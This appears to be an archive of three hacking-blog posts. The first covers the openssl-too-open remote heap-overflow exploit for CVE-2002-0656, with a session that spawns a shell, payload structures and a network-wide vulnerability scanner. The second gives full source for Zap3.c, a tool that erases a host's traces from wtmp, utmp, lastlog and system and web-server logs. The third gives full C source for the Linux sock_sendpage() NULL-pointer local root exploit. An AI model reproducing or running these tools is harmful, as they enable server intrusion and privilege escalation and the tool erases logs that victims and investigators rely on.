2013. 2. 15. 13:05

Apache OpenSSL heap overflow exploit

CVE-2002-0656

openssl-too-open is a remote exploit for the KEY_ARG overflow in OpenSSL 0.9.6d and older. Tested against most major Linux distributions. Gives a remote nobody shell on Apache and remote root on other servers. Includes an OpenSSL vulnerability scanner and a detailed vulnerability analysis. Only Linux/x86 targets are supported.

Downloads

Screenshot

$ ./openssl-too-open -h
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

Usage: ./openssl-too-open [options] <host>
  -a <arch>          target architecture (default is 0x00)
  -p <port>          SSL port (default is 443)
  -c <N>             open N apache connections before sending the shellcode (default is 30)
  -m <N>             maximum number of open connections (default is 50)
  -v                 verbose mode

Supported architectures:
	0x00 - Gentoo (apache-1.3.24-r2)
	0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
	0x02 - Slackware 7.0 (apache-1.3.26)
	0x03 - Slackware 8.1-stable (apache-1.3.26)
	0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
	0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
	0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
	0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
	0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
	0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
	0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
	0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
	0x0c - SuSE Linux 7.0 (apache-1.3.12)
	0x0d - SuSE Linux 7.1 (apache-1.3.17)
	0x0e - SuSE Linux 7.2 (apache-1.3.19)
	0x0f - SuSE Linux 7.3 (apache-1.3.20)
	0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
	0x11 - SuSE Linux 8.0 (apache-1.3.23)
	0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
	0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
	0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
	0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ./openssl-too-open -a 0x01 -v localhost
          ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80


./openssl-too-open -a 0x14 192.168.0.1
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

: Opening 30 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x810b3a0
  ssl1 : 0x810b360
  ssl2 : 0x810b4e0

* Addresses don't match.

: Opening 40 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x8103830
  ssl1 : 0x80fd668
  ssl2 : 0x80fd668

* Addresses don't match.

: Opening 50 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x8103830
  ssl1 : 0x8103830
  ssl2 : 0x8103830

: Sending shellcode
ciphers: 0x8103830   start_addr: 0x8103770   SHELLCODE_OFS: 184
  Reading tag
  Execution of stage1 shellcode succeeded, sending stage2
  Spawning shell...

bash: no job control in this shell
bash-2.05$ 
bash-2.05$ uname -a; id; w;
Linux localhost.localdomain 2.4.8-26mdk #1 Sun Sep 23 17:06:39 CEST 2001 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
  1:49pm  up  4:26,  1 user,  load average: 0.04, 0.07, 0.07
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
bash-2.05$

SSL2 handshake

It is important to understand the SSL2 handshake in order to successfully exploit the KEY_ARG vulnerability.

        Client           Server

     CLIENT_HELLO -->

                  <-- SERVER_HELLO

CLIENT_MASTER_KEY -->

                  <-- SERVER_VERIFY

  CLIENT_FINISHED -->

                  <-- SERVER_FINISHED

The CLIENT_HELLO message contains a list of the ciphers the client supports, a session id and some challenge data. The session id is used if the client wishes to reuse an already established session, otherwise it's empty.

The server replies with a SERVER_HELLO message, also listing all supported ciphers and includes a certificate with its public RSA key. The server also sends a connection id, which will later be used by the client to verify that the encryption works.

The client generates a random master key, encrypts it with the server's public key and sends it with a CLIENT_MASTER_KEY message. This message also specifies the cipher selected by the client and a KEY_ARG field, which meaning depends on the specified cipher. For DES-CBC ciphers, the KEY_ARG contains the initialization vector.

Now both the client and the server have the master key and they can generate the session keys from it. All messages from this point on are encrypted.

The server replies with a SERVER_VERIFY message, containing the challenge data from the CLIENT_HELLO message. If the key exchange has been successful, the client will be able to decrypt this message and the challenge data returned from the server will match the challenge data sent by the client.

The client sends a CLIENT_FINISHED message with a copy of the connection id from the SERVER_HELLO packet. It is now the server's turn to decrypt this message and check if the connection id returned by the client matches the connection it sent by the server.

Finally the server sends a SERVER_FINISHED message, completing the handshake. This message contains a session id, generated by the server. If the client wishes to reuse the session later, it can send this session id with the CLIENT_HELLO message.

The KEY_ARG buffer overflow

The bug is in ssl/s2_srvr.c, in the get_client_master_key() function. This function reads a CLIENT_MASTER_KEY packet and processes it. It reads the KEY_ARG_LENGTH value from the client and then copies that many bytes in an array of a fixed size. This array is part of the SSL_SESSION structure. If the client specifies a KEY_ARG longer than 8 bytes, the variables in the SSL_SESSION structure can be overwritten with user supplied data.

Let's look at the definition of this structure.

typedef struct ssl_session_st
    {
    int ssl_version;    /* what ssl version session info is
                         * being kept in here? */

    /* only really used in SSLv2 */
    unsigned int key_arg_length;
    unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];
    int master_key_length;
    unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH];
    /* session_id - valid? */
    unsigned int session_id_length;
    unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH];
    /* this is used to determine whether the session is being reused in
     * the appropriate context. It is up to the application to set this,
     * via SSL_new */
    unsigned int sid_ctx_length;
    unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];

    int not_resumable;

    /* The cert is the certificate used to establish this connection */
    struct sess_cert_st /* SESS_CERT */ *sess_cert;

    /* This is the cert for the other end.
     * On clients, it will be the same as sess_cert->peer_key->x509
     * (the latter is not enough as sess_cert is not retained
     * in the external representation of sessions, see ssl_asn1.c). */
    X509 *peer;
    /* when app_verify_callback accepts a session where the peer's certificate
     * is not ok, we must remember the error for session reuse: */
    long verify_result; /* only for servers */

    int references;
    long timeout;
    long time;

    int compress_meth;      /* Need to lookup the method */

    SSL_CIPHER *cipher;
    unsigned long cipher_id;    /* when ASN.1 loaded, this
                                 * needs to be used to load
                                 * the 'cipher' structure */

    STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */

    CRYPTO_EX_DATA ex_data; /* application specific data */

    /* These are used to make removal of session-ids more
     * efficient and to implement a maximum cache size. */
    struct ssl_session_st *prev,*next;
    } SSL_SESSION;

It really looks better with syntax coloring. Anyway, we know the size of the structure and it's allocated on the heap. The first thing that comes to mind is to overwrite the next malloc chunk and then make the OpenSSL code call free() on the SSL_SESSION structure.

After we send a CLIENT_MASTER_KEY message, we'll read a SERVER_VERIFY packet from the server and then we'll respond with a CLIENT_FINISHED message. The server uses this the contents of this message to verify that the key exchange succeeded. If we return a wrong connection id, the server will abort the connection and free the SSL_SESSION structure, which is exactly what we want.

We'll overwrite the KEY_ARG array with 8 random bytes and the following string:

unsigned char overwrite_next_chunk[] =
    "AAAA"                              /* int master_key_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                        /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
    "AAAA"                              /* unsigned int session_id_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH]; */
    "AAAA"                              /* unsigned int sid_ctx_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
    "AAAA"                              /* unsigned int sid_ctx_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
    "AAAA"                              /* int not_resumable; */
    "\x00\x00\x00\x00"                  /* struct sess_cert_st *sess_cert; */
    "\x00\x00\x00\x00"                  /* X509 *peer; */
    "AAAA"                              /* long verify_result; */
    "\x01\x00\x00\x00"                  /* int references; */
    "AAAA"                              /* int timeout; */
    "AAAA"                              /* int time */  
    "AAAA"                              /* int compress_meth; */
    "\x00\x00\x00\x00"                  /* SSL_CIPHER *cipher; */
    "AAAA"                              /* unsigned long cipher_id; */
    "\x00\x00\x00\x00"                  /* STACK_OF(SSL_CIPHER) *ciphers; */
    "\x00\x00\x00\x00\x00\x00\x00\x00"  /* CRYPTO_EX_DATA ex_data; */
    "AAAAAAAA"                          /* struct ssl_session_st *prev,*next; */
    "\x00\x00\x00\x00"                  /* Size of previous chunk */
    "\x11\x00\x00\x00"                  /* Size of chunk, in bytes */
    "fdfd"                              /* Forward and back pointers */
    "bkbk"
    "\x10\x00\x00\x00"                  /* Size of previous chunk */
    "\x10\x00\x00\x00"                  /* Size of chunk, PREV_INUSE is set */

The "A" bytes don't affect the OpenSSL control flow. The other bytes must be set to specific values to make the exploit work. For example, the peer and sess_cert pointers must be NULL, because the SSL cleanup code will call free() on them before it frees the SSL_SESSION structure.

The free() call will write the value of the bk pointer to the memory address in the fd pointer + 12 bytes. We'll put our shellcode address in the bk pointer and we'll write it to the free() entry in the GOT table.

Getting the shellcode address

There is only one little problem. We need a place to put our shellcode and we need the exact shellcode address. The trick is to use the SERVER_FINISHED message. This message includes the session id, which is read from the SSL_SESSION structure. The server reads session_id_length bytes from the session_id[] array and sends them to the client. We can overwrite the session_id_length variable and complete the handshake. If session_id_length is long enough, the SERVER_FINISHED message will include the contents of the SSL_SESSION structure.

To get the contents of the session structure, we'll overwrite the KEY_ARG array with 8 random bytes and the following string:

unsigned char overwrite_session_id_length[] =
    "AAAA"                              /* int master_key_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                        /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
    "\x70\x00\x00\x00";                 /* unsigned int session_id_length; */

Now let's imagine the heap state when we send our connection request. We have a heap, which contains some allocated chunks of memory and a large 'top' chunk, covering all free memory.

When the server receives the connection, it forks a child and the child allocates the SSL_SESSION structure. If there has not been a signifficant malloc/free activity, the fragmentation of the memory will be low and the new chunk will be allocated from the beginning of the 'top' chunk.

The next allocated chunk is a 16 bytes chunk which holds a STACK_OF(SSL_CIPHER) structure. This chunk is also allocated from the beginning of the 'top' chunk, so it's located right above the SSL_SESSION structure. The address of this chunk is stored in the session->ciphers variable.

If we're lucky, the memory would look like this:

                    | top chunk |
                    |-----------|
session->ciphers    |  16 bytes |  <- STACK_OF(SSL_CIPHER) structure
points here      -> |-----------| 
                    | 368 bytes |  <- SSL_SESSION structure
                    |-----------|

We can read the session->ciphers pointer from the SSL_SESSION structure in the SERVER_FINISHED message. By subtracting 368 from it, we'll get the address of the SSL_SESSION structure, and thus the address of the data we've overwritten.

fork() is your friend

We'll use the same buffer overflow to get the address of the shellcode and to overwrite the malloc chunks. The problem is that we need to know the shellcode address before we send it to the server.

The only solution is to send 2 requests. The first request overwrites session_id_length and we complete the handshake to get the SERVER_FINISHED message. Then we adjust our shellcode and open a second connection which we use to send it.

If we're dealing with a forking server like Apache, the two children will have an identical memory layout and malloc() will put the session structure at the same address. Of course, life is never that simple. Apache children can handle multiple requests, which would change the memory allocation pattern of the two children we use.

To guarantee that both children are freshly spawned, our exploit will open a number of connections to the server before sending the two important requests. These connection should use up all available Apache children and force new ones to be spawned.

If the server traffic is high, the exploit might fail. If the memory allocation patterns are different, the exploit might fail. If you have a wrong GOT address, the exploit will definitely fail.

openssl-scanner

$ ./openssl-scanner -h
: openssl-scanner : OpenSSL vulnerability scanner
  by Solar Eclipse <solareclipse@phreedom.org&gt;

Usage: ./openssl-scanner [options] <host&gt;
  -i <inputfile&gt;     file with target hosts
  -o <outputfile&gt;    output log
  -a                 append to output log (requires -o)
  -b                 check for big endian servers
  -C                 scan the entire class C network the host belogs to
  -d                 debug mode
  -w N               connection timeout in seconds

Examples: ./openssl-scanner -d 192.168.0.1
          ./openssl-scanner -i hosts -o my.log -w 5


$ ./openssl-scanner -C 192.168.0.0
: openssl-scanner : OpenSSL vulnerability scanner
  by Solar Eclipse <solareclipse@phreedom.org&gt;

Opening 255 connections . . . . . . . . . . done
Waiting for all connections to finish . . . . . . . . . . . done

192.168.0.136: Vulnerable

openssl-scanner overflows the master_key_length, master_key[] and session_id_length variables in the SSL_SESSION structure. The first two are uninitialized at this point, so overwriting them has no effect on openssl. The first place where the session_id_length variable is used after we overwrite it is in session_finish() (ssl/s2_srvr.c:847)

memcpy(p,s->session->session_id, (unsigned int)s->session->session_id_length);

This data is returned in the SERVER_FINISHED packet. openssl-scanner checks the length of the data. If it matches the value we set session_id_length to, then the server is exploitable.

OpenSSL 0.9.6e and higher versions return

192.160.0.2: Server error: SSL2_PE_UNDEFINED_ERROR (0x00) after KEY_ARG data was sent. Server is not vulnerable.

The updates that most vendors have put out backport the changes from 0.9.6e to 0.9.6b or some other version of OpenSSL. They don't return an error like 0.9.6e. The updated RedHat and Debian packages) would close the connection immediatelly after they receive the oversized KEY_ARG data, causing openssl-scanner to report

192.168.0.1: Connection closed after KEY_ARG data was sent. Server is most likely not vulnerable.

IIS servers exhibit the same behavior.

IIS servers that don't have a certificate set up close the connection as soon as they receive the CLIENT_HELLO packet. openssl-scanner reports this as

192.168.0.2: Connection unexpectedly closed

Posted by k1rha
2012. 12. 20. 00:02

Zap3.c 로그지우는 프로그램


/*########################################################################
*#### Zap3.c cleans WTMP, UTMP, lastlog, messages, secure, ##############
*#### xferlog, httpd.access_log, httpd.error_log. ##############
*#### Check your log file and edit the source accordingly. ##############
#### Tested in Mandrake 7.2 and 8.0 ##############
*#########################################################################
*#### This program is for educational purposes only ##############
*#### I'm not responsible any damages of this program ##############
*#### Use it with your own risk ##############
*#########################################################################
*#### I change the user based cleaning method ##############
*#### to host based method. Also zap2.c cleans ##############
*#### last entry of wtmp file,i change ##############
*#### this to clean all entries. ##############
*#########################################################################

Copyright (c) darkloop . All rights reserved.
This software is licensed pursuant to the GNU General Public License
version 2 or later versions [or GNU Lesser General Public License],
a copy of which may be viewed at www.gnu.org/copyleft/gpl.html.

*#########################################################################
*#### Please inform me about your comments. ##############
*#### I'm new to c programmin so feel free to flame :) ##############
*#### dark_loop@linuxmail.org ##############
*#### www.solitude2000.f2s.com ##############
*#### 15.10.2001 ##############
*#########################################################################





*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
#define MESSAGES "/var/log/messages"
#define SECURE "/var/log/secure"
#define SYSLOG "/var/log/syslog"
#define XFERLOG "/var/log/xferlog"
#define AUTH "/var/log/auth.log"
#define HTTPDA "/var/log/httpd/access_log"
#define HTTPDE "/var/log/httpd/error_log"
#define MAX 1024*5120
#define MIN 1024
void clean_logs(char *host,char *fake);
void clean_utmp(char *host,char *fake);
void clean_wtmp(char *host,char *fake);
void clean_lastlog(char *host,char *fake);
int pos(char *source,char *pattern);
void str_replace(char *source,char *pattern,char *replace);

main(int argc,char **argv)
{
time_t t1,t2;
if (argc<2) {
printf("missing argument\n");
printf("usage :./zap <ip>\n");
exit(1);
} else {
time(&t1);
clean_utmp(argv[1],argv[2]);
clean_wtmp(argv[1],argv[2]);
clean_lastlog(argv[1],argv[2]);
clean_logs(argv[1],argv[2]);
time(&t2);
printf("the process time is %d ms\n",t2-t1);
}
}

void clean_utmp(char *host,char *fake)
{
int f;
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
}
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
if(fake) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
}else {
memset(&utmp_ent,0,sizeof( utmp_ent ));
}
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
printf("\tcleaning utmp file finished\n\t");

}

void clean_wtmp(char *host,char *fake)
{
struct utmp utmp_ent;
int f;
if ((f=open(WTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
}
while(read (f, &utmp_ent, sizeof (struct utmp))>0) {
if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
if(fake) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
}else {
memset(&utmp_ent,0,sizeof(struct utmp ));
}
lseek(f,-(sizeof(struct utmp)),SEEK_CUR);
write (f, &utmp_ent, sizeof( utmp_ent ));
}
}
close(f);
printf("cleaning wtmp finished\n\t");
}
void clean_lastlog(char *host,char *fake)
{
int f;
struct lastlog newll;
if ((f=open(LASTLOG_NAME, O_RDWR)) < 0) {
perror("open");
close(f);
} else {
while(read(f,&newll,sizeof(struct lastlog)) > 0 ) {
if(!strncmp(newll.ll_host,host,strlen(host))) {
if(fake) {
memcpy(newll.ll_host,fake,sizeof(newll.ll_host));
}else {
memset(&newll,0,sizeof( newll ));
}
lseek(f, -( sizeof (struct lastlog)),SEEK_CUR);
write(f,&newll, sizeof( newll ));
}
}
close(f);
}
printf("cleaning lastlog finished\n\t");
}
void clean_logs(char *host,char *fake)
{
int i;
char buffer[MIN],buff[MAX];
FILE *fin,*fout;
char *logs[] = {MESSAGES, SECURE,SYSLOG, XFERLOG, AUTH, HTTPDA, HTTPDE} ;
char *modlogs[] = {"modMESSAGES", "modSECURE","modSYSLOG", "modXFERLOG",
"modAUTH","modHTTPDA","modHTTPDE"} ;

i=0;
while(i<7) {
printf("cleaning %s\n\t",logs[i]);
strcpy(buff,"");
if((fin=fopen(logs[i],"r"))==NULL
|| (fout=fopen(modlogs[i],"w"))==NULL) {
perror("fopen");
fclose(fin);
i++;
}

while(fgets(buffer,MIN,fin) !=NULL) {
if(fake) {
if (strstr(buffer,host) ) {
str_replace(buffer,host,fake);
fputs(buffer,fout);
}else
fputs(buffer,fout);
}else {
if(!strstr(buffer,host))
fputs(buffer,fout);
}
}
fclose(fin);
fclose(fout);
if((fout=fopen(logs[i],"w"))==NULL
|| (fin=fopen(modlogs[i],"r"))==NULL) {
perror("fopen");
fclose(fout);
}
while((fgets(buffer,MAX,fin)) !=NULL) {
fputs(buffer,fout);
}
fclose(fin);
fclose(fout);
unlink(modlogs[i]);
i++;
}
printf("cleaning logs file finished\n\t");
}
void str_replace(char *source,char *pattern,char *replace)
{
char buffer[MIN];
char part[MIN];
int n;
while((n=pos(source,pattern))>=0) {
strcpy(buffer,&source[n+strlen(pattern)]);
strcpy(&source[n],replace);
strncpy(part,source,n+strlen(replace));
part[n+strlen(replace)]='\0';
strcat(part,buffer);
strcpy(source,part);
n=pos(source,pattern);
}
}
int pos(char *source,char *pattern)
{
char substring[MIN];
int i=0,found=0,position;
int pattern_len=strlen(pattern);
while(!found && i<= strlen(source) - pattern_len) {
strncpy(substring,&source[i],pattern_len);
substring[pattern_len]='\0';
if(strcmp(substring,pattern)==0)
found=1;
else
++i;
}
if(found)
position=i;
else
position=-1;
return(position);
}

Posted by k1rha
2012. 12. 19. 23:31


Linux sock_sendpage() NULL Local Root Exploit

Kernel 2.6.x




/*

 *  Linux sock_sendpage() NULL pointer dereference
 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */
 
/*
 * This exploit was written to illustrate the exploitability of this
 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
 * and ppc64.
 *
 * This exploit makes use of the SELinux and the mmap_min_addr problem to
 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
 * The problem, first noticed by Brad Spengler, was described by Red Hat in
 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
 * the mmap_min_addr protection[2].
 *
 * Support for i386 and x86_64 was added for completeness. For a more complete
 * implementation, refer to Brad Spengler's exploit[3], which also implements
 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
 *
 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
 * are vulnerable.
 *
 * This exploit was tested on:
 *
 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * CentOS 5.3 (2.6.18-128.4.1.el5)
 * CentOS 5.3 (2.6.18-128.2.1.el5)
 * CentOS 5.3 (2.6.18-128.1.16.el5)
 * CentOS 5.3 (2.6.18-128.1.14.el5)
 * CentOS 5.3 (2.6.18-128.1.10.el5)
 * CentOS 5.3 (2.6.18-128.1.6.el5)
 * CentOS 5.3 (2.6.18-128.1.1.el5)
 * CentOS 5.3 (2.6.18-128.el5)
 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * CentOS 4.8 (2.6.9-89.0.7.EL)
 * CentOS 4.8 (2.6.9-89.0.3.EL)
 * CentOS 4.8 (2.6.9-89.EL)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)
 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
 * Ubuntu 8.10 (2.6.27-14) is not vulnerable
 * Ubuntu 8.10 (2.6.27-11)
 * Ubuntu 8.10 (2.6.27-9)
 * Ubuntu 8.10 (2.6.27-7)
 *
 * For i386 and ppc, compile with the following command:
 * gcc -Wall -o linux-sendpage linux-sendpage.c
 *
 * And for x86_64 and ppc64:
 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
 *
 * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
 * [2] http://kbase.redhat.com/faq/docs/DOC-18042
 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
 * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
 
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movq %%rsp,%0; " "=r" (sp));
 
    return sp;
}
 
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movl %%esp,%0" "=r" (sp));
 
    return sp;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("mr %0,%%r1; " "=r" (sp));
 
    return sp;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct;
 
    asm volatile ("movq %%gs:(0),%0; " "=r" (task_struct));
 
    return task_struct;
}
 
#else
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
    thread_info = current_stack_pointer() & ~(4096 - 1);
 
    if (*(unsigned long *)thread_info >= 0xc0000000) {
        task_struct = *(unsigned long *)thread_info;
 
        /*
         * The TASK_RUNNING is the only possible state for a process executing
         * in user-space.
         */
        if (*(unsigned long *)task_struct == TASK_RUNNING)
            return task_struct;
    }
 
    /*
     * Prior to the 2.6 kernel series, the task_struct was stored at the end
     * of the kernel stack.
     */
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
#if defined(__LP64__)
    task_struct = current_stack_pointer() & ~(16384 - 1);
 
#else
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
#endif
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
 
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (task_struct[0] == uid && task_struct[1] == uid &&
                task_struct[2] == uid && task_struct[3] == uid &&
                task_struct[4] == gid && task_struct[5] == gid &&
                task_struct[6] == gid && task_struct[7] == gid) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (!task_struct[0]) {
            task_struct++;
            continue;
        }
 
        if (task_struct[0] == task_struct[1] &&
                task_struct[0] == task_struct[2] &&
                task_struct[0] == task_struct[3] &&
                task_struct[4] == task_struct[5] &&
                task_struct[4] == task_struct[6] &&
                task_struct[4] == task_struct[7]) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#endif
 
#define PAGE_SIZE getpagesize()
 
int
main(void)
{
    char *addr;
    int out_fd, in_fd;
    char template[] = "/tmp/tmp.XXXXXX";
 
#if defined(__i386__) || defined(__x86_64__)
    uid = getuid(), gid = getgid();
 
#endif
 
    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
    addr[0] = '\xff';
    addr[1] = '\x24';
    addr[2] = '\x25';
    *(unsigned long *)&addr[3] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#else
    addr[0] = '\xff';
    addr[1] = '\x25';
    *(unsigned long *)&addr[2] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
    /*
     * The use of function descriptors by the Power 64-bit ELF ABI requires
     * the use of a fake function descriptor.
     */
    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
 
#else
    addr[0] = '\x3f';
    addr[1] = '\xe0';
    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
    addr[4] = '\x63';
    addr[5] = '\xff';
    *(unsigned short *)&addr[6] = (unsigned short)change_cred;
    addr[8] = '\x7f';
    addr[9] = '\xe9';
    addr[10] = '\x03';
    addr[11] = '\xa6';
    addr[12] = '\x4e';
    addr[13] = '\x80';
    addr[14] = '\x04';
    addr[15] = '\x20';
 
#endif
 
#endif
 
    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
 
    if ((in_fd = mkstemp(template)) == -1) {
        perror("mkstemp");
        exit(EXIT_FAILURE);
    }
 
    if(unlink(template) == -1) {
        perror("unlink");
        exit(EXIT_FAILURE);
    }
 
    if (ftruncate(in_fd, PAGE_SIZE) == -1) {
        perror("ftruncate");
        exit(EXIT_FAILURE);
    }
 
    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
 
    execl("/bin/sh""sh""-i", NULL);
 
    exit(EXIT_SUCCESS);
}

